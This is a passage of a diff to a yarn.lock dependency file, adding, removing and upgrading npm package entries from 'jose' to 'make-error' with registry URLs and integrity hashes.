+  resolved "https://registry.yarnpkg.com/jose/-/jose-5.4.1.tgz#b471ee3963920ba5452fd1b1398c8ba72a7b2fcf"
+  integrity sha512-U6QajmpV/nhL9SyfAewo000fkiRQ+Yd2H0lBxJJ9apjpOgkOcBQJWOrMo917lxLptdS/n/o/xPzMkXhF46K8hQ==
+
+joycon@^3.1.1:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/joycon/-/joycon-3.1.1.tgz#bce8596d6ae808f8b68168f5fc69280996894f03"
+  integrity sha512-34wB/Y7MW7bzjKRjUKTa46I2Z7eV62Rkhva+KkopW7Qvv/OSWBqvkSY7vusOPrNuZcUG3tApvdVgNB8POj3SPw==
 
 jpegtran-bin@^4.0.0:
   version "4.0.0"
@@ -10694,14 +11770,6 @@ jpegtran-bin@^4.0.0:
     bin-wrapper "^4.0.0"
     logalot "^2.0.0"
 
-js-select@~0.6.0:
-  version "0.6.0"
-  resolved "https://registry.yarnpkg.com/js-select/-/js-select-0.6.0.tgz#c284e22824d5927aec962dcdf247174aefb0d190"
-  integrity sha1-woTiKCTVknrsli3N8kcXSu+w0ZA=
-  dependencies:
-    JSONSelect "0.2.1"
-    traverse "0.4.x"
-
 "js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
@@ -10712,14 +11780,6 @@ js-tokens@^3.0.2:
   resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-3.0.2.tgz#9866df395102130e38f7f996bceb65443209c25b"
   integrity sha1-mGbfOVECEw449/mWvOtlRDIJwls=
 
-js-yaml@^3.13.0:
-  version "3.13.1"
-  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.13.1.tgz#aff151b30bfdfa8e49e05da22e7415e9dfa37847"
-  integrity sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==
-  dependencies:
-    argparse "^1.0.7"
-    esprima "^4.0.0"
-
 js-yaml@^3.13.1:
   version "3.14.1"
   resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537"
@@ -10735,11 +11795,6 @@ js-yaml@^4.1.0:
   dependencies:
     argparse "^2.0.1"
 
-jsbn@~0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/jsbn/-/jsbn-0.1.1.tgz#a5e654c2e5a2deb5f201d96cefbca80c0ef2f513"
-  integrity sha1-peZUwuWi3rXyAdls77yoDA7y9RM=
-
 jsc-safe-url@^0.2.4:
   version "0.2.4"
   resolved "https://registry.yarnpkg.com/jsc-safe-url/-/jsc-safe-url-0.2.4.tgz#141c14fbb43791e88d5dc64e85a374575a83477a"
@@ -10779,11 +11834,21 @@ jsesc@^2.5.1:
   resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-2.5.2.tgz#80564d2e483dacf6e8ef209650a67df3f0c283a4"
   integrity sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==
 
+jsesc@^3.0.2:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-3.1.0.tgz#74d335a234f67ed19907fdadfac7ccf9d409825d"
+  integrity sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==
+
 jsesc@~0.5.0:
   version "0.5.0"
   resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-0.5.0.tgz#e7dee66e35d6fc16f710fe91d5cf69f70f08911d"
   integrity sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=
 
+jsesc@~3.0.2:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-3.0.2.tgz#bb8b09a6597ba426425f2e4a07245c3d00b9343e"
+  integrity sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==
+
 json-buffer@3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/json-buffer/-/json-buffer-3.0.0.tgz#5b1f397afc75d677bde8bcfc0e47e1f9a3d9a898"
@@ -10794,23 +11859,23 @@ json-buffer@3.0.1:
   resolved "https://registry.yarnpkg.com/json-buffer/-/json-buffer-3.0.1.tgz#9338802a30d3b6605fbe0613e094008ca8c05a13"
   integrity sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==
 
-json-merge-patch@^0.2.3:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/json-merge-patch/-/json-merge-patch-0.2.3.tgz#fa2c6b5af87da77bae2966a589d52e23ed81fe40"
-  integrity sha1-+ixrWvh9p3uuKWalidUuI+2B/kA=
-  dependencies:
-    deep-equal "^1.0.0"
-
-json-parse-better-errors@^1.0.1:
+json-merge-patch@1.0.2:
   version "1.0.2"
-  resolved "https://registry.yarnpkg.com/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz#bb867cfb3450e69107c131d1c514bab3dc8bcaa9"
-  integrity sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==
+  resolved "https://registry.yarnpkg.com/json-merge-patch/-/json-merge-patch-1.0.2.tgz#c4626811943b2f362f8607ae8f03d528875465b0"
+  integrity sha512-M6Vp2GN9L7cfuMXiWOmHj9bEFbeC250iVtcKQbqVgEsDVYnIsrNsbU+h/Y/PkbBQCtEa4Bez+Ebv0zfbC8ObLg==
+  dependencies:
+    fast-deep-equal "^3.1.3"
 
 json-parse-even-better-errors@^2.3.0, json-parse-even-better-errors@^2.3.1:
   version "2.3.1"
   resolved "https://registry.yarnpkg.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz#7c47805a94319928e05777405dc12e1f7a4ee02d"
   integrity sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==
 
+json-parse-even-better-errors@^3.0.0:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/json-parse-even-better-errors/-/json-parse-even-better-errors-3.0.2.tgz#b43d35e89c0f3be6b5fbbe9dc6c82467b30c28da"
+  integrity sha512-fi0NG4bPjCHunUJffmLd0gxssIgkNmArMvis4iNah6Owg1MCJjWhEcDLmsK6iGkJq3tHwbDkTlce70/tmXN4cQ==
+
 json-schema-traverse@^0.4.1:
   version "0.4.1"
   resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
@@ -10821,11 +11886,6 @@ json-schema-traverse@^1.0.0:
   resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz#ae7bcb3656ab77a73ba5c49bf654f38e6b6860e2"
   integrity sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==
 
-json-schema@0.2.3:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/json-schema/-/json-schema-0.2.3.tgz#b480c892e59a2f05954ce727bd3f2a4e882f9e13"
-  integrity sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=
-
 json-stable-stringify-without-jsonify@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
@@ -10838,7 +11898,7 @@ json-stable-stringify@^1.0.0:
   dependencies:
     jsonify "~0.0.0"
 
-json-stringify-safe@^5.0.1, json-stringify-safe@~5.0.1:
+json-stringify-safe@^5.0.1:
   version "5.0.1"
   resolved "https://registry.yarnpkg.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz#1296a2d58fd45f19a0f6ce01d65701e2c735b6eb"
   integrity sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=
@@ -10857,7 +11917,7 @@ json5@^2.1.0:
   dependencies:
     minimist "^1.2.0"
 
-json5@^2.1.2, json5@^2.1.3:
+json5@^2.1.2:
   version "2.1.3"
   resolved "https://registry.yarnpkg.com/json5/-/json5-2.1.3.tgz#c9b0f7fa9233bfe5807fe66fcf3a5617ed597d43"
   integrity sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==
@@ -10876,6 +11936,15 @@ jsonfile@^4.0.0:
   optionalDependencies:
     graceful-fs "^4.1.6"
 
+jsonfile@^6.0.1:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-6.1.0.tgz#bc55b2634793c679ec6403094eb13698a6ec0aae"
+  integrity sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==
+  dependencies:
+    universalify "^2.0.0"
+  optionalDependencies:
+    graceful-fs "^4.1.6"
+
 jsonify@~0.0.0:
   version "0.0.0"
   resolved "https://registry.yarnpkg.com/jsonify/-/jsonify-0.0.0.tgz#2c74b6ee41d93ca51b7b5aaee8f503631d252a73"
@@ -10886,22 +11955,6 @@ jsonpointer@^5.0.0:
   resolved "https://registry.yarnpkg.com/jsonpointer/-/jsonpointer-5.0.1.tgz#2110e0af0900fd37467b5907ecd13a7884a1b559"
   integrity sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==
 
-jsonwebtoken@8.5.1:
-  version "8.5.1"
-  resolved "https://registry.yarnpkg.com/jsonwebtoken/-/jsonwebtoken-8.5.1.tgz#00e71e0b8df54c2121a1f26137df2280673bcc0d"
-  integrity sha512-XjwVfRS6jTMsqYs0EsuJ4LGxXV14zQybNd4L2r0UvbVnSF9Af8x7p5MzbJ90Ioz/9TI41/hTCvznF/loiSzn8w==
-  dependencies:
-    jws "^3.2.2"
-    lodash.includes "^4.3.0"
-    lodash.isboolean "^3.0.3"
-    lodash.isinteger "^4.0.4"
-    lodash.isnumber "^3.0.3"
-    lodash.isplainobject "^4.0.6"
-    lodash.isstring "^4.0.1"
-    lodash.once "^4.0.0"
-    ms "^2.1.1"
-    semver "^5.6.0"
-
 jsonwebtoken@^9.0.0:
   version "9.0.0"
   resolved "https://registry.yarnpkg.com/jsonwebtoken/-/jsonwebtoken-9.0.0.tgz#d0faf9ba1cc3a56255fe49c0961a67e520c1926d"
@@ -10912,48 +11965,41 @@ jsonwebtoken@^9.0.0:
     ms "^2.1.1"
     semver "^7.3.8"
 
-jsprim@^1.2.2:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/jsprim/-/jsprim-1.4.1.tgz#313e66bc1e5cc06e438bc1b7499c2e5c56acb6a2"
-  integrity sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=
-  dependencies:
-    assert-plus "1.0.0"
-    extsprintf "1.3.0"
-    json-schema "0.2.3"
-    verror "1.10.0"
-
 jsx-ast-utils@^1.3.4:
   version "1.4.1"
   resolved "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-1.4.1.tgz#3867213e8dd79bf1e8f2300c0cfc1efb182c0df1"
   integrity sha1-OGchPo3Xm/Ho8jAMDPwe+xgsDfE=
 
-jszip@^2.4.0:
-  version "2.7.0"
-  resolved "https://registry.yarnpkg.com/jszip/-/jszip-2.7.0.tgz#c420b1e1aa800490724a0dd277e8cca950bc2c41"
-  integrity sha512-JIsRKRVC3gTRo2vM4Wy9WBC3TRcfnIZU8k65Phi3izkvPH975FowRYtKGT6PxevA0XnJ/yO8b0QwV0ydVyQwfw==
+jszip@3.10.1, jszip@^3.2.2:
+  version "3.10.1"
+  resolved "https://registry.yarnpkg.com/jszip/-/jszip-3.10.1.tgz#34aee70eb18ea1faec2f589208a157d1feb091c2"
+  integrity sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==
   dependencies:
+    lie "~3.3.0"
     pako "~1.0.2"
+    readable-stream "~2.3.6"
+    setimmediate "^1.0.5"
 
 junk@^3.1.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/junk/-/junk-3.1.0.tgz#31499098d902b7e98c5d9b9c80f43457a88abfa1"
   integrity sha512-pBxcB3LFc8QVgdggvZWyeys+hnrNWg4OcZIU/1X59k5jQdLBlCsYGRQaz234SqoRLTCgMH00fY0xRJH+F9METQ==
 
-jwa@^1.4.1:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/jwa/-/jwa-1.4.1.tgz#743c32985cb9e98655530d53641b66c8645b039a"
-  integrity sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==
+jwa@^1.4.2:
+  version "1.4.2"
+  resolved "https://registry.yarnpkg.com/jwa/-/jwa-1.4.2.tgz#16011ac6db48de7b102777e57897901520eec7b9"
+  integrity sha512-eeH5JO+21J78qMvTIDdBXidBd6nG2kZjg5Ohz/1fpa28Z4CcsWUzJ1ZZyFq/3z3N17aZy+ZuBoHljASbL1WfOw==
   dependencies:
-    buffer-equal-constant-time "1.0.1"
+    buffer-equal-constant-time "^1.0.1"
     ecdsa-sig-formatter "1.0.11"
     safe-buffer "^5.0.1"
 
 jws@^3.2.2:
-  version "3.2.2"
-  resolved "https://registry.yarnpkg.com/jws/-/jws-3.2.2.tgz#001099f3639468c9414000e99995fa52fb478304"
-  integrity sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==
+  version "3.2.3"
+  resolved "https://registry.yarnpkg.com/jws/-/jws-3.2.3.tgz#5ac0690b460900a27265de24520526853c0b8ca1"
+  integrity sha512-byiJ0FLRdLdSVSReO/U4E7RoEyOCKnEnEPMjq3HxWtvzLsV08/i5RQKsFVNkCldrCaPr2vDNAOMsfs8T/Hze7g==
   dependencies:
-    jwa "^1.4.1"
+    jwa "^1.4.2"
     safe-buffer "^5.0.1"
 
 keyv@3.0.0:
@@ -10977,7 +12023,7 @@ keyv@^4.0.0:
   dependencies:
     json-buffer "3.0.1"
 
-keyv@^4.5.4:
+keyv@^4.5.3, keyv@^4.5.4:
   version "4.5.4"
   resolved "https://registry.yarnpkg.com/keyv/-/keyv-4.5.4.tgz#a879a99e29452f942439f2a405e3af8b31d4de93"
   integrity sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==
@@ -11018,20 +12064,20 @@ kleur@^3.0.3:
   resolved "https://registry.yarnpkg.com/kleur/-/kleur-3.0.3.tgz#a79c9ecc86ee1ce3fa6206d1216c501f147fc07e"
   integrity sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==
 
-latest-version@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/latest-version/-/latest-version-3.1.0.tgz#a205383fea322b33b5ae3b18abee0dc2f356ee15"
-  integrity sha1-ogU4P+oyKzO1rjsYq+4NwvNW7hU=
-  dependencies:
-    package-json "^4.0.0"
-
-latest-version@^5.0.0:
+latest-version@^5.0.0, latest-version@^5.1.0:
   version "5.1.0"
   resolved "https://registry.yarnpkg.com/latest-version/-/latest-version-5.1.0.tgz#119dfe908fe38d15dfa43ecd13fa12ec8832face"
   integrity sha512-weT+r0kTkRQdCdYCNtkMwWXQTMEswKrFBkm4ckQOMVhhqhIMI1UT2hMj+1iigIhgSZm5gTmrRXBNoGUgaTY1xA==
   dependencies:
     package-json "^6.3.0"
 
+latest-version@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/latest-version/-/latest-version-7.0.0.tgz#843201591ea81a4d404932eeb61240fe04e9e5da"
+  integrity sha512-KvNT4XqAMzdcL6ka6Tl3i2lYeFDgXNCuIX+xNx6ZMVR1dFq+idXd9FLKNMOIx0t9mJ9/HudyX4oZWXZQ0UJHeg==
+  dependencies:
+    package-json "^8.1.0"
+
 launch-editor@^2.6.0:
   version "2.6.0"
   resolved "https://registry.yarnpkg.com/launch-editor/-/launch-editor-2.6.0.tgz#4c0c1a6ac126c572bd9ff9a30da1d2cae66defd7"
@@ -11066,14 +12112,6 @@ levenary@^1.1.1:
   dependencies:
     leven "^3.1.0"
 
-levn@^0.3.0, levn@~0.3.0:
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/levn/-/levn-0.3.0.tgz#3b09924edf9f083c0490fdd4c0bc4421e04764ee"
-  integrity sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=
-  dependencies:
-    prelude-ls "~1.1.2"
-    type-check "~0.3.2"
-
 levn@^0.4.1:
   version "0.4.1"
   resolved "https://registry.yarnpkg.com/levn/-/levn-0.4.1.tgz#ae4562c007473b932a6200d403268dd2fffc6ade"
@@ -11087,6 +12125,13 @@ li@^1.3.0:
   resolved "https://registry.yarnpkg.com/li/-/li-1.3.0.tgz#22c59bcaefaa9a8ef359cf759784e4bf106aea1b"
   integrity sha1-IsWbyu+qmo7zWc91l4TkvxBq6hs=
 
+lie@~3.3.0:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/lie/-/lie-3.3.0.tgz#dcf82dee545f46074daf200c7c1c5a08e0f40f6a"
+  integrity sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==
+  dependencies:
+    immediate "~3.0.5"
+
 lighthouse-logger@^1.0.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/lighthouse-logger/-/lighthouse-logger-1.2.0.tgz#b76d56935e9c137e86a04741f6bb9b2776e886ca"
@@ -11095,11 +12140,21 @@ lighthouse-logger@^1.0.0:
     debug "^2.6.8"
     marky "^1.2.0"
 
+lilconfig@^3.1.1:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/lilconfig/-/lilconfig-3.1.3.tgz#a1bcfd6257f9585bf5ae14ceeebb7b559025e4c4"
+  integrity sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==
+
 lines-and-columns@^1.1.6:
   version "1.2.4"
   resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-1.2.4.tgz#eca284f75d2965079309dc0ad9255abb2ebc1632"
   integrity sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==
 
+lines-and-columns@^2.0.3:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-2.0.4.tgz#d00318855905d2660d8c0822e3f5a4715855fc42"
+  integrity sha512-wM1+Z03eypVAVUCE7QdSqpVIvelbOakn1M0bPDoA4SGWPx3sNDVUiMo3L6To6WWGClB7VyXnhQ4Sn7gxiJbE6A==
+
 load-json-file@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/load-json-file/-/load-json-file-1.1.0.tgz#956905708d58b4bab4c2261b04f59f31c99374c0"
@@ -11111,6 +12166,11 @@ load-json-file@^1.0.0:
     pinkie-promise "^2.0.0"
     strip-bom "^2.0.0"
 
+load-tsconfig@^0.2.3:
+  version "0.2.5"
+  resolved "https://registry.yarnpkg.com/load-tsconfig/-/load-tsconfig-0.2.5.tgz#453b8cd8961bfb912dea77eb6c168fe8cca3d3a1"
+  integrity sha512-IXO6OCs9yg8tMKzfPZ1YmheJbZCiEsnBdcB03l0OcfK9prKnJb96siuHCr5Fl37/yo9DnKU+TLpxzTUspw9shg==
+
 loader-runner@^4.2.0:
   version "4.3.0"
   resolved "https://registry.yarnpkg.com/loader-runner/-/loader-runner-4.3.0.tgz#c1b4a163b99f614830353b16755e7149ac2314e1"
@@ -11172,6 +12232,11 @@ locate-path@^6.0.0:
   dependencies:
     p-locate "^5.0.0"
 
+lodash.debounce@^4.0.8:
+  version "4.0.8"
+  resolved "https://registry.yarnpkg.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz#82d79bff30a67c4005ffd5e2515300ad9ca4d7af"
+  integrity sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==
+
 lodash.defaults@^4.2.0:
   version "4.2.0"
   resolved "https://registry.yarnpkg.com/lodash.defaults/-/lodash.defaults-4.2.0.tgz#d09178716ffea4dde9e5fb7b37f6f0802274580c"
@@ -11202,31 +12267,16 @@ lodash.includes@^4.3.0:
   resolved "https://registry.yarnpkg.com/lodash.includes/-/lodash.includes-4.3.0.tgz#60bb98a87cb923c68ca1e51325483314849f553f"
   integrity sha1-YLuYqHy5I8aMoeUTJUgzFISfVT8=
 
-lodash.isboolean@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz#6c2e171db2a257cd96802fd43b01b20d5f5870f6"
-  integrity sha1-bC4XHbKiV82WgC/UOwGyDV9YcPY=
-
 lodash.isempty@4.4.0:
   version "4.4.0"
   resolved "https://registry.yarnpkg.com/lodash.isempty/-/lodash.isempty-4.4.0.tgz#6f86cbedd8be4ec987be9aaf33c9684db1b31e7e"
   integrity sha1-b4bL7di+TsmHvpqvM8loTbGzHn4=
 
-lodash.isinteger@^4.0.4:
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz#619c0af3d03f8b04c31f5882840b77b11cd68343"
-  integrity sha1-YZwK89A/iwTDH1iChAt3sRzWg0M=
-
 lodash.isnil@4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/lodash.isnil/-/lodash.isnil-4.0.0.tgz#49e28cd559013458c814c5479d3c663a21bfaa6c"
   integrity sha1-SeKM1VkBNFjIFMVHnTxmOiG/qmw=
 
-lodash.isnumber@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz#3ce76810c5928d03352301ac287317f11c0b1ffc"
-  integrity sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w=
-
 lodash.isobject@^3.0.2:
   version "3.0.2"
   resolved "https://registry.yarnpkg.com/lodash.isobject/-/lodash.isobject-3.0.2.tgz#3c8fb8d5b5bf4bf90ae06e14f2a530a4ed935e1d"
@@ -11237,11 +12287,6 @@ lodash.isplainobject@^4.0.6:
   resolved "https://registry.yarnpkg.com/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz#7c526a52d89b45c45cc690b88163be0497f550cb"
   integrity sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs=
 
-lodash.isstring@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/lodash.isstring/-/lodash.isstring-4.0.1.tgz#d527dfb5456eca7cc9bb95d5daeaf88ba54a5451"
-  integrity sha1-1SfftUVuynzJu5XV2ur4i6VKVFE=
-
 lodash.keys@^4.0.8:
   version "4.2.0"
   resolved "https://registry.yarnpkg.com/lodash.keys/-/lodash.keys-4.2.0.tgz#a08602ac12e4fb83f91fc1fb7a360a4d9ba35205"
@@ -11267,20 +12312,10 @@ lodash.omitby@4.6.0:
   resolved "https://registry.yarnpkg.com/lodash.omitby/-/lodash.omitby-4.6.0.tgz#5c15ff4754ad555016b53c041311e8f079204791"
   integrity sha1-XBX/R1StVVAWtTwEExHo8HkgR5E=
 
-lodash.once@^4.0.0:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/lodash.once/-/lodash.once-4.1.1.tgz#0dd3971213c7c56df880977d504c88fb471a97ac"
-  integrity sha1-DdOXEhPHxW34gJd9UEyI+0cal6w=
-
 lodash.sortby@^4.7.0:
   version "4.7.0"
   resolved "https://registry.yarnpkg.com/lodash.sortby/-/lodash.sortby-4.7.0.tgz#edd14c824e2cc9c1e0b0a1b42bb5210516a42438"
-  integrity sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=
-
-lodash.throttle@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/lodash.throttle/-/lodash.throttle-4.1.1.tgz#c23e91b710242ac70c37f1e1cda9274cc39bf2f4"
-  integrity sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=
+  integrity sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==
 
 lodash.truncate@^4.4.2:
   version "4.4.2"
@@ -11292,7 +12327,7 @@ lodash.union@^4.6.0:
   resolved "https://registry.yarnpkg.com/lodash.union/-/lodash.union-4.6.0.tgz#48bb5088409f16f1821666641c44dd1aaae3cd88"
   integrity sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=
 
-lodash@^4.14.0, lodash@^4.15.0, lodash@^4.17.11, lodash@^4.17.13, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.21, lodash@^4.8.0, lodash@~4.17.2:
+lodash@^4.14.0, lodash@^4.17.11, lodash@^4.17.13, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21, lodash@^4.8.0, lodash@~4.17.2:
   version "4.17.21"
   resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
   integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
@@ -11340,6 +12375,11 @@ lowercase-keys@^2.0.0:
   resolved "https://registry.yarnpkg.com/lowercase-keys/-/lowercase-keys-2.0.0.tgz#2603e78b7b4b0006cbca2fbcc8a3202558ac9479"
   integrity sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==
 
+lowercase-keys@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/lowercase-keys/-/lowercase-keys-3.0.0.tgz#c5e7d442e37ead247ae9db117a9d0a467c89d4f2"
+  integrity sha512-ozCC6gdQ+glXOQsveKD0YsDy8DSQFjDTz4zyzEHNV5+JP5D62LmfDZ6o1cycFx9ouG940M5dE8C8CTewdj2YWQ==
+
 lpad-align@^1.0.1:
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/lpad-align/-/lpad-align-1.1.2.tgz#21f600ac1c3095c3c6e497ee67271ee08481fe9e"
@@ -11350,6 +12390,11 @@ lpad-align@^1.0.1:
     longest "^1.0.0"
     meow "^3.3.0"
 
+lru-cache@^10.2.0:
+  version "10.4.3"
+  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-10.4.3.tgz#410fc8a17b70e598013df257c2446b7f3383f119"
+  integrity sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==
+
 lru-cache@^4.0.1:
   version "4.1.5"
   resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-4.1.5.tgz#8bbe50ea85bed59bc9e33dcab8235ee9bcf443cd"
@@ -11403,6 +12448,13 @@ magic-string@^0.27.0:
   dependencies:
     "@jridgewell/sourcemap-codec" "^1.4.13"
 
+magic-string@^0.30.10:
+  version "0.30.17"
+  resolved "https://registry.yarnpkg.com/magic-string/-/magic-string-0.30.17.tgz#450a449673d2460e5bbcfba9a61916a1714c7453"
+  integrity sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==
+  dependencies:
+    "@jridgewell/sourcemap-codec" "^1.5.0"
+
 make-dir@^1.0.0, make-dir@^1.2.0:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-1.3.0.tgz#79c1033b80515bd6d24ec9933e860ca75ee27f0c"
@@ -11432,7 +12484,7 @@ make-dir@^4.0.0:
   dependencies:
     semver "^7.5.3"
 
-make-error@^1.1.1:
+make-error@^1.1.1, make-error@^1.3.2:
   version "1.3.6"
   resolved "https://registry.yarnpkg.com/make-error/-/make-error-1.3.6.tgz#2eb2e37ea9b67c4891f684a1394799af484cf7a2"
